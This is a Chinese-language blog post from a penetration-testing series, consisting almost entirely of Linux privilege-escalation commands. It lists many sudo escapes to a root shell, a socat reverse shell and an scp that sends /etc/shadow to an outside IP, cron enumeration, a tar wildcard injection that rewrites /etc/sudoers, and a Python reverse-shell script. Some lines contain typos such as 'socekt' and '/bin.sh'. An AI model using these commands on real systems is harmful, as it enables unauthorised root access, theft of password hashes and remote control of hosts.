WEB渗透Linux提权篇-Sudo提权

 往期文章

WEB渗透Linux提权篇-提权工具合集-CSDN博客

WEB渗透Linux提权篇-环境变量提权-CSDN博客

WEB渗透Linux提权篇-可写文件提权-CSDN博客

WEB渗透Linux提权篇-查找辅助信息-CSDN博客

WEB渗透Linux提权篇-漏洞提权-CSDN博客

 

工具

https://github.com/TH3xACE/SUDO_KILLER
sudo_inject
https://github.com/nongiach/sudo_inject

>sudo -l  查看
/home/user/.sudo_as_admin_successful
>sudo zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
>sudo tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
>sudo strace –o /dev/null /bin/bash
>sudo nmap –interactive nmap>!sh
>echo "os.execute('/bin.sh')">/tmp/1.nse
>sudo nmap –script=/tmp/shell.nse 
>sudo more/less/man /etc/rsyslog.conf  > !bash
>sudo git help status 
>!/bin/bash
>sudo ftp
>!/bin/bash
>sudo vim -c '!sh'
>sudo vi   > :!bash
>sudo find /bin/ -name ls -exec /bin/bash ;
>sudo find /home -exec /bin/bash \;
>sudo awk 'BEGIN {system("/bin/sh")}'
>sudo su
>sudo bash
>sudo perl -e 'exec "/bin/bash";'
>sudo python -c 'import pty;pty.spawn("/bin/bash")'
>sudo man man   > !bash
>sudo /bin/script/asroot.sh
>sudo env /bin/bash
>sudo ftp
>! /bin/bash
>whoami
>or
>! /bin/sh
>id
>whoami
>sudo socat exec:'sh -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.105:1234
>sudo scp /etc/shadow aarti@192.168.1.105:~/

计划任务

crontab -l
ls -alh /var/spool/cron;
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny*

>for user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u $user -l; done 列举所有用户的crontab
$cat /etc/crontab
$echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' >test.sh
$echo "" > "--checkpoint-action=exec=sh test.sh"
$echo "" > --checkpoint=1

或编辑可写的计划任务文件

#!/usr/bin/python
import os,subprocess,socket
s=socket.socekt(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.0.107","5555"))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])